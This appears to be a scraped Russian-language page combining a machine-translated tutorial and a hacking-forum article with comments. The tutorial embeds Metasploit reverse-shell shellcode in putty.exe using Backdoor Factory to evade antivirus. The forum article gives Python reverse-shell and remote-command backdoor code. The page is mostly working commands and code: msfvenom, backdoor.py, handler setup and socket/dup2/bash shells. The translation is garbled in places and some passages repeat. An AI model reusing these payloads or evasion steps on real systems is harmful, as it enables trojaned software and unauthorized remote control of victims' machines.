Backdoor программы killer программы shell код

Тема удаленного управления anti-kill (8) -BackDoor-Factory anti-kill (антивирус VT рейтинг 13/71)

1. Тема удаленного управления и анти-убийства (1) — основные статьи:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2. Тема удаленного управления и предотвращения убийства (2) -msfvenom скрытых параметров:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w

3. Тема удаленного управления и предотвращения убийств (3) -msf связана с предотвращением убийств (VT, избегая убийств, коэффициент 35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

4. Тема удаленного управления и предотвращения убийств (4) — Модуль Evasion (VT, чтобы избежать убийств, уровень 12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5. Тема дистанционного управления, чтобы избежать убийства (5) -Veil избежать убийства (VT избежать убийства, уровень 23/71):

6. Тема дистанционного управления, чтобы избежать убийства (6) -Venom избежать убийства (VT избежать убийства, уровень 11/71):

Converting a Python backdoor to Exe using PyInstaller + Basic AVEvasion testing | Educational

7. Тема дистанционного управления, чтобы избежать убийства (7) — Шеллтер избегает убийств (VT, чтобы избежать убийств, уровень 7/69):https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

8. Тема дистанционного управления, избегайте убийств (8) — Шеллтер избегает убийств (VT, избегайте убийств, уровень 7/69): Эта статья

Загрузка пакета статей и загрузка соответствующего программного обеспечения: https://github.com/TideSec/BypassAntiVirus

Список возможностей антивируса

Несколько примечаний:

1. Значок √ в приведенной выше таблице означает, что соответствующее антивирусное программное обеспечение не обнаружило вирус, то есть означает обход.

2. Для лучшего сравнения большинство тестовых данных используют msf. windows/meterperter/reverse_tcp Генерация модуля.

3. Поскольку на этой машине были установлены только 360 Family Barrel и Tinder во время теста, статус антивируса 360 и Tinder по умолчанию относится к статическому + динамическому обнаружению и уничтожению. 360 версия антивируса 5.0.0.8160 (2019.12.12), версия tinder 5.0.33.13 (2019.12.12), 360 охранников 12.0.0.2001 (2019.12.17)。

4. Другие индикаторы обнаружения антипрограмм находятся в virustotal.com (VT для краткости) онлайн для проверки и уничтожения, поэтому он может представлять только статические возможности проверки и уничтожения.Данные приведены только для справки, и их недостаточно, чтобы быть точным показателем суждения для предотвращения убийства.

5. Совершенно необязательно искать тот, который может обойти все антипрограммы.Технология Anti-killТакая технология должна быть, но она еще не обнародована. После того, как она станет общедоступной, ее могут убить на следующий день. На самом деле, нам достаточно обойти антивирус на целевом хосте.

Один, введение в BDF

BackDoor-factory, также известный как Backdoor Factory (BDF), BDF также является ветераном антивирусного артефакта.Автор однажды представил инструмент на конференции Blackhat 2015. Но автор перестал обновляться в 2017 году, а антивирусный эффект и сейчас неплохой.

Hacking Website Using PHP Shell | Photo Backdoor (Website Security Test)

Принцип: в исполняемом двоичном файле содержится большое количество 00, эти 00 не содержат данных, замените эти данные полезной нагрузкой, а при выполнении программы jmp в сегмент кода для запуска полезной нагрузки.

Во-вторых, установите BDF

https://github.com/secretsquirrel/the-backdoor-factory

Метод 1: Если вы используете kali или parrot, BDF уже установлен в системе.

Если вы не можете его найти, вы можете использовать команду locate, чтобы найти его

Версия BDF, которая поставляется с parrot, — 3.4.2, которая также является последней официально выпущенной версией.

Способ 2: Если в системе нет установки, нужно установить ее вручную

Вы можете прямо в ubuntu

apt-get update apt-get install backdoor-factory

Однако BDF полагается на большее количество программного обеспечения, и установка может быть более подвержена ошибкам.

Метод третий, используйте докер

Автор BDF также посчитал, что установка подвержена проблемам, поэтому предоставляется среда docker.

docker pull secretsquirrel/the-backdoor-factory docker run -it secretsquirrel/the-backdoor-factory bash # ./backdoor.py

Версия в докере — 3.4.0, это не последняя версия, но она малоэффективна.

3. Непосредственно создавать бэкдоры для защиты от убийств (показатель анти-убийства VT 13/71)

Backdoor-factory вставляет шелл-код в «пробел» кода обычного exe-файла, что похоже на сборку, но не на сборку, поэтому нужно заранее подготовить связанный exe-файл хоста. Я все еще использую предыдущий putty.exe Взять, к примеру.

выполненный python backdoor.py

3.1, сначала проверьте, поддерживается ли хост exe

Перед «объединением» BDF необходимо проверить, поддерживает ли исполняемый файл хоста «вставку» шелл-кода.

В основном используйте следующие два параметра

-f: указать тестовую программу -S: Проверить, поддерживает ли программа
python backdoor.py -f /root/putty.exe -S

Описание putty.exe Может поддерживаться.

3.2. Поиск доступных пещер кода (пробелов в коде) для файла

Используйте команду ./backdoor.py -f test.exe -c -l 600

-c: пещера кода (взлом кода) -l: размер трещины кода

Найдено 4 доступных пробела в коде, общий размер шелл-кода составляет 300 байт, поэтому выберите подходящий пробел.

3.3. Получите доступную полезную нагрузку файла

./backdoor.py -f /root/putty.exe -s -show

Как показано на рисунке выше, будет доступно много полезных нагрузок.

cave_miner_inline : В качестве шаблона полезной нагрузки длина 135, который реализует только переход потока управления и не выполняет других операций. Его можно использовать в качестве шаблона для разработки пользовательского шелл-кода.

reverse_shell_tcp_inline : Соответствующий msf: use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp

meterpreter_reverse_https_threaded : Соответствующий msf: use exploit/multi/handlerset payload windows/meterpreter/reverse_https

iat_reverse_tcp_inline Я в: я Import Address Table Аббревиатура (Import Address Table): если IAT PE-файла не включает API LoadLibraryA и GetProcAddress, выполнить полезную нагрузку напрямую reverse_shell_tcp_inline завершится ошибкой , iat_reverse_tcp_inline Добавлена ​​функция восстановления IAT, чтобы избежать сбоя выполнения

iat_reverse_tcp_stager_threaded : Добавлена ​​функция ремонта IAT

user_supplied_shellcode_threaded : Соответствующий msf: использовать exploit / multi / handlerset payload windows / meterpreter / reverse_tcp, собственный шелл-код

3.4, генерировать полезную нагрузку

./backdoor.py -f ~/putty.exe -s iat_reverse_tcp_stager_threaded -H 10.211.55.2 -P 3333 -J -o payload.exe

-c: пещера кода (взлом кода)

-l: размер трещины кода

-s: выбрать использование типа полезной нагрузки

-H: выберите адрес сервера для обратного подключения

-P: повторно подключить порт сервера

-J: использовать множественное внедрение трещин кода

Выберите сегмент кода для вставки шелл-кода, и, наконец, можно будет создать новую программу-бэкдор.

Читайте также:
Как поднять пинг в игре программа

3.5, антивирусный тест

Запустите payload.exe и обнаружите, что 360 Guardian и антивирус можно проверить и убить, но Tinder не обнаружил вирус.

13/69 отчетов на virustotal.com

В-четвертых, используйте свой собственный определенный шелл-код (устойчивость к VT составляет 14/71).

Сначала используйте msfvenom для генерации шелл-кода в необработанном формате

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 5 -f raw -o shellcode.c

Использовать бэкдор user_supplied_shellcode_threaded Модуль загружает собственный шеллкод

./backdoor.py -f /root/putty.exe -s user_supplied_shellcode_threaded -U /root/shellcode.c -o payload2.exe

msf monitor доступен в Интернете

msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf exploit(handler) > set lhost 10.211.55.2 lhost => 10.211.55.2 msf exploit(handler) > set lport 3333 lport => 3333 msf exploit(handler) > exploit

Но 360 все еще может убить

14/71 отчетов на virustotal.com

V. Резюме

С помощью backdoor-factory пользователи могут вставлять вредоносный код Shellcode в трещины кода файла без нарушения функции исходного исполняемого файла. Когда исполняемый файл запускается, может быть запущен вредоносный код. Backdoor Factory не только предоставляет часто используемые сценарии, но также позволяет встраивать шелл-код, сгенерированный другими инструментами, такими как Metasploit.

Инструмент также имеет некоторые другие мощные функции, такие как добавление сертификатов закрытых ключей, CPT и т. Д. Хотя программное обеспечение больше не обновляется, антивирусный эффект все еще хорош, и вы можете видеть его мощь.

Шесть, справочные материалы

Используйте BDF, чтобы внедрить бэкдор в EXE-файл: https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8BDF%E5%90%91EXE%E6%96%87%E4%BB%B6%E6%A4%8D%E5%85%A5%E5%90%8E%E9%97%A8/

Введение в backdoor-factory: https://www.lstazl.com/backdoor-factory%E4%BD%BF%E7%94%A8%E7%AE%80%E4%BB%8B/

использование backdoor-factory: https://www.cnblogs.com/-qing-/p/11421709.html

Отсканируйте QR-код ниже, чтобы узнать больше о веб-безопасности:

Лаборатория безопасности ms08067

Сосредоточьтесь на популяризации знаний о кибербезопасности. Команда опубликовала «Атака и защита веб-безопасности: Практическое руководство по тестированию на проникновение», «Атака и защита внутренней безопасности: Практическое руководство по тестированию на проникновение » В настоящее время занимается составлением книг по тестированию на проникновение Python, аудиту кода JAVA и обратному проектированию двоичных файлов.

В официальном аккаунте команды регулярно публикуются технические сухие материалы о стрельбище CTF, проникновении в интрасеть и APT, начиная с нуля, уделяя особое внимание реальным боям, и призван стать практическим публичным аккаунтом для обмена сухими товарами.

Источник: russianblogs.com

Python для хакера. Часть 2. Backdoor

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

[Введение]​

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!

Backdoor(или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).

Так почему же backdoor — черный ход? — спросите вы.

Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)

Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.

Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.

Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[Приступаем к делу]​

Что же, сегодня нам понадобятся 3 следующие библиотеки:

С библиотекой socket, мы уже познакомились в прошлой части, а теперь немного про остальные 2-е.

Subprocess — запускает определенные(заданные вами) процессы.

OS — это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:

import subprocess import socket import os

Далее создаем сокет и осуществляем подключение:

host = «имя сервера» port = порт sock = socket.socket() sock.connect((host, port))

А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell’у(командной оболочке):Код:

subprocess.call([«bash»,»-i»])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell

import subprocess import socket import os host = 192.168.1.X # server name port = 9191 #ясно дело порт ) sock = socket.socket() sock.connect((host, port)) os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) subprocess.call([«bash», «-i»])

Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.

Пропишем следующую команду:Код:

nc -nlvp

В итоге наблюдаем, что все сработало как нам надо)

А на этом все. Попробуйте написать свой сервер для атакующей машины.

Источник: telegra.ph

Статья Пишем backdoor [Python для хакера] Часть 2

Всем привет, дорогие друзья! Наконец мы дожили до второй части. Заранее извиняюсь, если кого-то заставил ждать. Прошлая часть немного навела шороху, надеюсь и эта не отстанет.

В этой части мы постараемся написать backdoor. В его написании, я не вижу ничего сложного, но перед тем как начать его создавать, давайте разберемся с «задней дверью» подробнее!

Backdoor (или же «запасной ход») — это программный код при помощи которого злоумышленник может получить доступ к системе(в частых случаях к shell’у).

57ec8cf7726fe407198156_1000.jpg

Так почему же backdoor — черный ход? — спросите вы.
Потому, что его используют для повторного проникновения в уже взломанную систему! — отвечу вам, я)

Кстати, Shell — это консольная оболочка системы. К ней мы сегодня и постараемся получить доступ.
Существует 2 способа получения доступа к командной оболочке. Это reverse и bind.

Bind Shell — это, когда атакуемая машина играет роль сервера, а машина атакующего — клиент, и при воспроизведении подключения к атакуемой машине, она же дает нам доступ к shell’у.

Reverse Shell — это, когда атакующая машина играет роль сервера, а бэкдор находится на клиентской стороне и воспроизводит подключение к серверу(к вам) давая доступ к shell’у.

Reverse Shell, кстати, используется в том случае, если соединение блокируется фаерволом. Как раз таки его мы с вами и опишем.

[ Приступаем к делу ] ​

  1. Socket
  2. Subprocess
  3. OS

Subprocess — запускает определенные(заданные вами) процессы.
OS — это модуль, который предназначен для работы с операционной системой.

И так, подключаем данные модули:

Читайте также:
К какой группе программ относится ms excel

import subprocess import socket import os

Далее создаем сокет и осуществляем подключение:
host = «имя сервера» port = порт sock = socket.socket() sock.connect((host, port))

А теперь не мало важная часть. Это — потоки ввода данных. Наша задача, привязать потоки данных к нашей серверной части.

os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2)

И конечно же даем доступ к shell’у(командной оболочке):
subprocess.call([«bash»,»-i»])

В итоге получаем backdoor, который получает доступ по принципу Reverse Shell
import subprocess import socket import os host = 192.168.1.X # server name port = 9191 #ясно дело порт ) sock = socket.socket() sock.connect((host, port)) os.dup2(sock.fileno(),0) os.dup2(sock.fileno(),1) os.dup2(sock.fileno(),2) subprocess.call([«bash», «-i»])

Далее, на атакующей машине остается только запустить сервер. Это делается просто — netcat.
Пропишем следующую команду:

nc -nlvp

В итоге наблюдаем, что все сработало как нам надо)

backdoorp.png

А на этом все. Попробуйте написать свой сервер для атакующей машины.

Последнее редактирование: 10.02.2018

alooe

Well-known member
Green Team

batu5ai

Grey Team
31.01.2018 103 109

ай спасибо
п.с. Если можно — выстави тег первой части или ссылку на первую часть, так будет удобнее искать и читать

rink0

Green Team
28.11.2017 62 65
Наконецто!!
Я уж думал что ты забыл про эту тему)

alooe

Green Team
24.05.2017 303 1 471
Всё. Ошибка с тегом SIZE устранена.
Последнее редактирование: 10.02.2018

batu5ai

Grey Team
31.01.2018 103 109
Всё. Ошибка с тегом SIZE устранена.

dustver

Member

21.05.2016 5 0

Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?

MLNK

Mod. Ethical Hacking

Red Team
23.01.2018 560 705
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.

alooe

Green Team
24.05.2017 303 1 471
Отличная статья!
добавь в первую статью ссылку на вторую. я её там вроде не видел.

Она там есть. В самом начале.

Привет, как я понимаю из help(socket), данный скрипт (функция socket.socket() ) работает только на unix-like os?

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux

Последнее редактирование: 13.02.2018

MLNK

Mod. Ethical Hacking

Red Team
23.01.2018 560 705

Она там есть. В самом начале.

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux

Пойду очки протру

Она там есть. В самом начале.

Модуль socket можно использовать и на Win. Но оно нам надо?

А сам backdoor для linux

ты не так понял в первую статью Посмотреть вложение 15746
Последнее редактирование: 13.02.2018

Sasha2401b

Доброго времени суток форумчани.
В ответ на статью AL04E, пишу этот комментарий. Статья понятно, была образовательная и для сильно новичков. Я читал гневные отзывы по его первой статье, что скажу, у людей разный опыт в программировании разное образование и т.д., и рассказывать что переменную не так назвали в коде из 10 строк и про плохой тон в разработке, ну это… Ну да ладно.
Код в статье был написан для Linux, а хотелось под Windows. Я должен отметить что backdoor на python это конечно жесть, да и backdoor должен быть скрытным и т.д.. Для backdoorа лучше Си, Сем что то компилируемое, но статьи даются для образовательных целей в данном случаи по сетевой разработке и это в принципе интересный пример да и всё, как реально применять его, это бред.
Скажу сразу, я не профессиональный разработчик, так пишу для себя не большие скрипты автоматизаций на Python. Сокетами сталкивался очень давно на Delphi, если кто помнит, там были компонеты indy и т.д.

Это не reverse, под реверс переделать не составит труда. Пример рабочий. Думаю если cmd, заменить на bash должно работать в Linux, не проверял
Сервер

#!/usr/bin/python3.5 from socket import * import subprocess, time # Sever sock=socket(AF_INET,SOCK_STREAM) sock.bind((»,9090)) sock.listen(1) while True: conn, addr = sock.accept() print (‘Server connect by ‘,addr) while True: try: data=conn.recv(1024) except: break if not data: break result=subprocess.run([‘cmd.exe’], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data) conn.send(result.stdout) conn.send(result.stderr) # Интересный момент, может кто знает, у меня так нормальна не заработало, если conn.close() вынести с тела второго цикла. # В примерах у того же Лутца, соединения закрывают в теле первого цикла. Ладно буду розбератся conn.close()
#!/usr/bin/python3.5 from socket import * while True: sock=socket(AF_INET,SOCK_STREAM) # если не на одной машине будите тестить localhost заменить на IP машины где будет сервер запущен sock.connect((‘localhost’,9090)) sinst=input («введите команду: «) if sinst==’exit1′: break st=» for i in sinst: if i != «~»: st=st+i else: st=st+’n’ # Для cmd переход на новую строку — выполнения команды sinst=st+»n» sinst=sinst.encode(‘cp866’) # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode) sock.send(sinst) while True: try: data=sock.recv(1024) except: break if not data: break print(data.decode(‘cp866’)) sock.close()

Код простой и кривой явно, и мне он не очень нравится. Почему, из-за этого костыля
st=» for i in sinst: if i != «~»: st=st+i else: st=st+’n’ # Для cmd переход на новую строку — выполнения команды sinst=st+»n»

Я думаю, спецы найдут кривизны полным полно, поковыряем еще, AL04E заинтересовал.
Если есть у кого советы или конкретный замечания (не флуд), пишите, будет легче и быстрее разобраться, не только мне.

client.py
введите команду: cd .. ~ echo blablabla > testfile.txt
сразу выполнится cd.. перейдем в каталог верхнего уровня и там уже вторай командой создадим файл

Переделал код под reverse, проверял уже реверс, сервер Kali Linux, клиент windows 10, все работает. но только ж кодировка cp866 utf-8. в консоли lInux есть не много крякозяблов.
Сервер

#!/usr/bin/python3.5 from socket import * # Sever sock=socket(AF_INET,SOCK_STREAM) sock.bind((»,9090)) sock.listen(1) while True: conn, addr = sock.accept() print (‘Server connect by ‘,addr) #получить не последовательность байтов, а строку, то можно воспользоваться методом str.decode sinst=input («ведите команду: «) if sinst==’exit1′: break st=» for i in sinst: if i != «~»: st=st+i else: st=st+’n’ # Для cmd переход на новую строку — выполнения команды sinst=st+»n» sinst=sinst.encode(‘cp866’) # Метод socket.send ожидает последовательность байтов, а не строку. (методом str.encode) conn.send(sinst) while True: try: data=conn.recv(1024) except: break if not data: break print(data.decode(‘cp866’)) conn.close()
#!/usr/bin/python3.5 from socket import * import subprocess, time while True: sock=socket(AF_INET,SOCK_STREAM) sock.connect((‘localhost’,9090)) try: data=sock.recv(1024) if not data:break result=subprocess.run([‘cmd.exe’], stdout=subprocess.PIPE,stderr=subprocess.PIPE, input=data) except: break sock.send(result.stdout) sock.send(result.stderr) sock.close()
Последнее редактирование модератором: 18.02.2018

slepoihudoznik

я предлагаю добавить авторизацию по «отстукиванию-авторизации» (это уже описывалось ранее, лень ссылку искать) по определенным портам с использованием (задействованием ) незадействованными флагами пакетов , если авторизация прошла успешно то шелл открывает свои дверки .
как тут http s:// www. linux.org. ru/news /security /509918
или тут описано с примерами https :// www. opennet.ru/ base/sec/port_knocking.txt.html
про флаги достаточно интересно описано в книге https :// www. ozon.ru/ context/ detail/id/845773/

Читайте также:
Игровая программа когда мы вместе

Последнее редактирование модератором: 17.03.2018

MyrMyrBl9

Отличная статья!
Теперь есть понимание backdoor и reverse/bind атак
Еще раз СПАСИБО за проделанный труд!

Foxlite

New member

13.01.2019 3 0

Спасибо большое автору, он меня очень сильно выручил я использую этот скрипт для создания удаленной машины, но есть один вопрос как сделать так чтобы если появлялась ошибка подключения к серверу он автоматически подключался к другому?

hippo hat

One Level
10.07.2019 3 1

у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[[email protected]]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[[email protected]]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки»)

Последнее редактирование: 11.07.2019

FormatC

One Level
18.06.2019 7 2

у всех всё работает, а лично у меня руки из того места откуда должны расти ноги так что при запуске файла консоль выдаёт следующее:

┌─[✗]─[[email protected]]─[~/Desktop]
└──╼ $python3 backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

При переходе на python2 происходит всё тоже самое :
┌─[✗]─[[email protected]]─[~/Desktop]
└──╼ $python backdr.py
File «backdr.py», line 9
host = 192.168.1.105 # server name
^
SyntaxError: invalid syntax

(Проблему решил оказалось что ip надо брать в кавычки»)

А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.

hippo hat

One Level
10.07.2019 3 1

А еще неплохо было бы запускать это через «python3» ведь синтаксис питона3 и питона2 отличается, вот и выдаёт.

Если присмотритесь к тому как я запускал в первый раз, то можете заметить, что я запускал через python3

FrozenFlames

host = 192.168.1.X # server name
это строка выводит мне ошибку

alooe

Green Team
24.05.2017 303 1 471
host = 192.168.1.X # server name
это строка выводит мне ошибку

host = «Здесь_должен_быть_адрес_сервера»

JIBRIL

Green Team
25.11.2018 53 62

Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import config import protocol sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((config.host, config.port)) protocol.send(sock, input()) data = protocol.recv(sock) sock.close() print(data)
# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import threading from os import listdir, path import httrack import config import protocol def dl_status_checker(thread, connection): if thread.isAlive: protocol.send(connection, «Downloading has started») else: protocol.send(connection, «Downloading has FAILED») def handle_commands(connection, command, params): if command == «dl»: if params[1] == ‘0’: params[1] = False else: params[1] = True if not params[1] and len(params) == 2: params.append(None) htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2])) htt_thread.start() dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection)) dl_status.start() elif command == «list»: file_list = listdir(config.sites_directory) folder_list = [] archive_list = [] for file in file_list: if path.isdir(config.sites_directory + ‘/’ + file) and file != «hts-cache»: folder_list.append(file) if path.isfile(config.sites_directory + ‘/’ + file) and (file[-7:] == «.tar.gz» or file[-8:] == «.tar.bz2» or file[-5:] == «.tar»): archive_list.append(file) site_string = «» folder_found = False if folder_list: site_string += «List of folders:n» + «n».join(folder_list) folder_found = True if archive_list: if folder_found: site_string += «n================================================================================n» site_string += «List of archives:n» + «n».join(archive_list) if site_string == «»: site_string = «Sites not found!» protocol.send(connection, site_string) elif command == «load»: load = «» for i in range (1, 100000): load += str(i) + ‘ ‘ if i % 1000 == 0: load += ‘n’ protocol.send(connection, load) else: protocol.send(connection, «Invalid request») def args_analysis(connection, args): args = args.split() handle_commands(connection=connection, command=args[0], params=args[1:]) Client.py sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config.host, config.port)) sock.listen(True) while True: conn, addr = sock.accept() print(‘Connected by ‘, addr) data = protocol.recv(conn) args_analysis(connection=conn, args=data)

Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)

JIBRIL

Green Team
25.11.2018 53 62

Привет, так я сам не давно начал искать рыскать в поисках данных вещей для ознакомления то и свой вклад на твоё задание тоже введу.

# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import config import protocol sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((config.host, config.port)) protocol.send(sock, input()) data = protocol.recv(sock) sock.close() print(data)
# -*- coding: utf-8 -*- # !/usr/bin/env python3 import socket import threading from os import listdir, path import httrack import config import protocol def dl_status_checker(thread, connection): if thread.isAlive: protocol.send(connection, «Downloading has started») else: protocol.send(connection, «Downloading has FAILED») def handle_commands(connection, command, params): if command == «dl»: if params[1] == ‘0’: params[1] = False else: params[1] = True if not params[1] and len(params) == 2: params.append(None) htt_thread = threading.Thread(target=httrack.download, args=(params[0], params[1], params[2])) htt_thread.start() dl_status = threading.Timer(2.0, dl_status_checker, args=(htt_thread, connection)) dl_status.start() elif command == «list»: file_list = listdir(config.sites_directory) folder_list = [] archive_list = [] for file in file_list: if path.isdir(config.sites_directory + ‘/’ + file) and file != «hts-cache»: folder_list.append(file) if path.isfile(config.sites_directory + ‘/’ + file) and (file[-7:] == «.tar.gz» or file[-8:] == «.tar.bz2» or file[-5:] == «.tar»): archive_list.append(file) site_string = «» folder_found = False if folder_list: site_string += «List of folders:n» + «n».join(folder_list) folder_found = True if archive_list: if folder_found: site_string += «n================================================================================n» site_string += «List of archives:n» + «n».join(archive_list) if site_string == «»: site_string = «Sites not found!» protocol.send(connection, site_string) elif command == «load»: load = «» for i in range (1, 100000): load += str(i) + ‘ ‘ if i % 1000 == 0: load += ‘n’ protocol.send(connection, load) else: protocol.send(connection, «Invalid request») def args_analysis(connection, args): args = args.split() handle_commands(connection=connection, command=args[0], params=args[1:]) Client.py sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind((config.host, config.port)) sock.listen(True) while True: conn, addr = sock.accept() print(‘Connected by ‘, addr) data = protocol.recv(conn) args_analysis(connection=conn, args=data)

Внизу так как нужны ещё пару слоев кода для работы с этим отребутом сервера то код смогу дать ниже (Не хочу чтоб недо люди использовали то что им не дано хочу чтоб учили все сами, а не Копипастили)

Источник: codeby.net

Рейтинг
( Пока оценок нет )
Загрузка ...
EFT-Soft.ru